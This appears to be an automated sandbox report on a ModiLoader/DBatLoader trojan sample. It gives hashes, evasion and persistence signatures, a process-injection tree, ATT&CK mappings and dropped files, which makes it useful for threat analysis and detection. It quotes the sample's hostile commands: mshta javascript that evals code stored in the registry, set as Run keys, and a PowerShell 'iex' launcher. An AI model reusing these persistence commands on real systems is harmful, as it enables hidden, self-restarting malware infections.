modiloader | 554d26bd54183554daa46c9140b63552c798a718ad189b07a71059378ef8e6d3

General

Target

bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
Size

312KB
MD5

bc383c949e2fa230cb2cc945b1c6535f
SHA1

cb88a41cbf44d5b7109c4ce71f09cc61ff37d1c4
SHA256

554d26bd54183554daa46c9140b63552c798a718ad189b07a71059378ef8e6d3
SHA512

2128443d747e8f02b724c73b7e9ff0ca613ef7f4d8d7649e0391f0d049f9fc0cc1c08ac37628bfb1c34a753813262c05f26b4ab122433a52c7da50432ffd5cc9
SSDEEP

6144:l1wWsAmf6Uj3Bav0xUzgSwnEaY3+2/Pv3yhTRSbiWI3Uu7DTOogV6:0VAbMccGcSwnjQ7HAIBI3tD6l6

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2980 2664 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2980	2664	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 53 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1996-12-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-10-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-8-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-6-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-4-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-13-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-14-0x0000000001D20000-0x0000000001DF6000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-18-0x0000000001D20000-0x0000000001DF6000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-17-0x0000000001D20000-0x0000000001DF6000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-16-0x0000000001D20000-0x0000000001DF6000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-15-0x0000000001D20000-0x0000000001DF6000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-19-0x0000000001D20000-0x0000000001DF6000-memory.dmp	modiloader_stage2
behavioral1/memory/1996-20-0x0000000001D20000-0x0000000001DF6000-memory.dmp	modiloader_stage2
behavioral1/memory/2700-29-0x0000000006240000-0x0000000006316000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-31-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-33-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/2700-34-0x0000000006240000-0x0000000006316000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-35-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-36-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-37-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-38-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-39-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-48-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-50-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-51-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-49-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-54-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-55-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-66-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-74-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-68-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-67-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-65-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-64-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-62-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-57-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-56-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-53-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-52-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-47-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-46-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-45-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-44-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-43-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-42-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/2280-80-0x0000000000120000-0x0000000000261000-memory.dmp	modiloader_stage2
behavioral1/memory/2280-79-0x0000000000120000-0x0000000000261000-memory.dmp	modiloader_stage2
behavioral1/memory/2280-78-0x0000000000120000-0x0000000000261000-memory.dmp	modiloader_stage2
behavioral1/memory/2280-77-0x0000000000120000-0x0000000000261000-memory.dmp	modiloader_stage2
behavioral1/memory/2280-76-0x0000000000120000-0x0000000000261000-memory.dmp	modiloader_stage2
behavioral1/memory/2280-75-0x0000000000120000-0x0000000000261000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-41-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2
behavioral1/memory/1700-40-0x0000000000110000-0x0000000000251000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1700 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk regsvr32.exe

pid	process
1700	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\7358d4\\e5ae70.lnk\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:buD2lv=\"2D8\";bE4=new%20ActiveXObject(\"WScript.Shell\");x4dT7V=\"72x9F\";S7pIl=bE4.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\bfow\\\\niegp\");l73InS=\"TvQqu\";eval(S7pIl);P9hUG=\"DTvNyXD\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:bv60IBtG=\"NHl\";u50T=new%20ActiveXObject(\"WScript.Shell\");su8LZ=\"Umf854\";bz0YM=u50T.RegRead(\"HKCU\\\\software\\\\bfow\\\\niegp\");bbRQ5j4Lj=\"fqe\";eval(bz0YM);VI2o4nE=\"cF\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1668 set thread context of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 2700 set thread context of 1700	2700	powershell.exe	regsvr32.exe
PID 1700 set thread context of 2280	1700	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exeregsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\.1879f4f\ = "2070de"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:SmB9cQkl=\"RkPC06\";V85m=new ActiveXObject(\"WScript.Shell\");b6FwBCi=\"m6oT8m\";dOq3l8=V85m.RegRead(\"HKCU\\\\software\\\\bfow\\\\niegp\");z8NQV6=\"GL9gEA\";eval(dOq3l8);dK7VN=\"tt7wJPX\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\.1879f4f	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
2700	powershell.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe
1700	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2700 powershell.exe
1700 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2700 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 1668 wrote to memory of 1996	1668	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe	bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
PID 2980 wrote to memory of 2700	2980	mshta.exe	powershell.exe
PID 2980 wrote to memory of 2700	2980	mshta.exe	powershell.exe
PID 2980 wrote to memory of 2700	2980	mshta.exe	powershell.exe
PID 2980 wrote to memory of 2700	2980	mshta.exe	powershell.exe
PID 2700 wrote to memory of 1700	2700	powershell.exe	regsvr32.exe
PID 2700 wrote to memory of 1700	2700	powershell.exe	regsvr32.exe
PID 2700 wrote to memory of 1700	2700	powershell.exe	regsvr32.exe
PID 2700 wrote to memory of 1700	2700	powershell.exe	regsvr32.exe
PID 2700 wrote to memory of 1700	2700	powershell.exe	regsvr32.exe
PID 2700 wrote to memory of 1700	2700	powershell.exe	regsvr32.exe
PID 2700 wrote to memory of 1700	2700	powershell.exe	regsvr32.exe
PID 2700 wrote to memory of 1700	2700	powershell.exe	regsvr32.exe
PID 1700 wrote to memory of 2280	1700	regsvr32.exe	regsvr32.exe
PID 1700 wrote to memory of 2280	1700	regsvr32.exe	regsvr32.exe
PID 1700 wrote to memory of 2280	1700	regsvr32.exe	regsvr32.exe
PID 1700 wrote to memory of 2280	1700	regsvr32.exe	regsvr32.exe
PID 1700 wrote to memory of 2280	1700	regsvr32.exe	regsvr32.exe
PID 1700 wrote to memory of 2280	1700	regsvr32.exe	regsvr32.exe
PID 1700 wrote to memory of 2280	1700	regsvr32.exe	regsvr32.exe
PID 1700 wrote to memory of 2280	1700	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1668

C:\Users\Admin\AppData\Local\Temp\bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
C:\Users\Admin\AppData\Local\Temp\bc383c949e2fa230cb2cc945b1c6535f_JaffaCakes118.exe
2⤵
PID:1996

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:z4W1co="TCWo8bGx";RU2=new%20ActiveXObject("WScript.Shell");ao0GPq="9pubGCTM";Pxn6w6=RU2.RegRead("HKLM\\software\\Wow6432Node\\Ym0FcI67l\\bhvcXrcq");MaOW4EL4b="sk";eval(Pxn6w6);aA12yK="N";
1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:mgrdgdtr
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:2280

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Virtualization/Sandbox Evasion

3

T1497

Modify Registry

2

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

3

T1497

File and Directory Discovery

1

T1083

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\7358d4\2d9c5e.1879f4f
Filesize
33KB

MD5
0fc2a90f922c7db831dbb7402df71895

SHA1
f91ed2d384fb731802b4672483756f7004242ce2

SHA256
7276b58c89a6af95faf49fefa0d8f76674e91655458d6b9a2e94df131934b8b1

SHA512
fe92f1249ead9e450469f744116d20e1cd1890772be573fab29a2c444d99a4ae14f11522e65ac6b52fc7ad6fb701e00292edf87551e9a689c9b7b0ab8104991d

Download Submit
C:\Users\Admin\AppData\Local\7358d4\6d45a7.bat
Filesize
61B

MD5
14adc766d85da95cd0990ed6bcc1524d

SHA1
e3c8f83a8fbfea658c9139d3e670d609745fb848

SHA256
0245cf83462c2d8f2453beb1094af0133caee498c1ab5147ee361cb8a449c1c4

SHA512
b4172624d668b6c1e7519cca9cbb53645ecc8b9aa1e4908801fd81983b092ed7ad26e3e29047ff5dc4e7744ee9f08dc61765133fa5957926cb4518127f4b60b8

Download Submit
C:\Users\Admin\AppData\Local\7358d4\e5ae70.lnk
Filesize
877B

MD5
2eac216aea6212a07422630515788145

SHA1
af0be2710a0f33168bda02803489c5c1ee3e9390

SHA256
46fb8c191f050e10f26155bed6ec064326910b70f2053ced1be78850309d8297

SHA512
511e179534b2ff3f38973d0f5938c00bf2315edb19c9cb5135f8083af03c4acb4dbae2cd5cdcb00f0e13d3919b85362792490e6840ee672c0462cbd5226b9e93

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk
Filesize
987B

MD5
8161c39ba953516c0e1008122e640aed

SHA1
80b14501ee4741738d9d92791c32551ce3e83081

SHA256
3cec5b4cece43ef5d00d06f572d9d64c98efcc86c78965d5a2b48daefae5daa5

SHA512
1863100267a4a3148a4540a166309d8accd17eeb22743bd5b0af4f092d86a89e43336e3c908058dab3d9dcfdc5f25433225f65979215867d0dc952ca5300ca16

Download Submit
C:\Users\Admin\AppData\Roaming\e53183\8858ab.1879f4f
Filesize
15KB

MD5
62d3627c14ebc28756d835aa645330d2

SHA1
950cd1c4bff3e67eda5a0e8aee57caa17216453f

SHA256
173bb4100fda04cbc9600f6d0e265ee61f569792dd3a735454251982fd9c0491

SHA512
5cb606db9b746dae2199d56277710eee963a27c65765706739433ef1936a416fd3de07c57059bc34e7dd235975c31db8a288a1add4bf3f46e9c18a631526e2c1

Download Submit
memory/1700-43-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-46-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-68-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-40-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-41-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-42-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-44-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-45-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-67-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-47-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-52-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-31-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-33-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-53-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-35-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-36-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-37-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-38-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-39-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-48-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-50-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-51-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-74-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-54-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-55-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-66-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-49-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-56-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-57-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-65-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-64-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1700-62-0x0000000000110000-0x0000000000251000-memory.dmp

Filesize
1.3MB

Download
memory/1996-13-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1996-17-0x0000000001D20000-0x0000000001DF6000-memory.dmp

Filesize
856KB

Download
memory/1996-2-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1996-10-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1996-20-0x0000000001D20000-0x0000000001DF6000-memory.dmp

Filesize
856KB

Download
memory/1996-19-0x0000000001D20000-0x0000000001DF6000-memory.dmp

Filesize
856KB

Download
memory/1996-15-0x0000000001D20000-0x0000000001DF6000-memory.dmp

Filesize
856KB

Download
memory/1996-16-0x0000000001D20000-0x0000000001DF6000-memory.dmp

Filesize
856KB

Download
memory/1996-0-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1996-6-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1996-4-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1996-8-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1996-12-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1996-14-0x0000000001D20000-0x0000000001DF6000-memory.dmp

Filesize
856KB

Download
memory/1996-18-0x0000000001D20000-0x0000000001DF6000-memory.dmp

Filesize
856KB

Download
memory/2280-75-0x0000000000120000-0x0000000000261000-memory.dmp

Filesize
1.3MB

Download
memory/2280-76-0x0000000000120000-0x0000000000261000-memory.dmp

Filesize
1.3MB

Download
memory/2280-79-0x0000000000120000-0x0000000000261000-memory.dmp

Filesize
1.3MB

Download
memory/2280-78-0x0000000000120000-0x0000000000261000-memory.dmp

Filesize
1.3MB

Download
memory/2280-80-0x0000000000120000-0x0000000000261000-memory.dmp

Filesize
1.3MB

Download
memory/2280-77-0x0000000000120000-0x0000000000261000-memory.dmp

Filesize
1.3MB

Download
memory/2700-34-0x0000000006240000-0x0000000006316000-memory.dmp

Filesize
856KB

Download
memory/2700-29-0x0000000006240000-0x0000000006316000-memory.dmp

Filesize
856KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads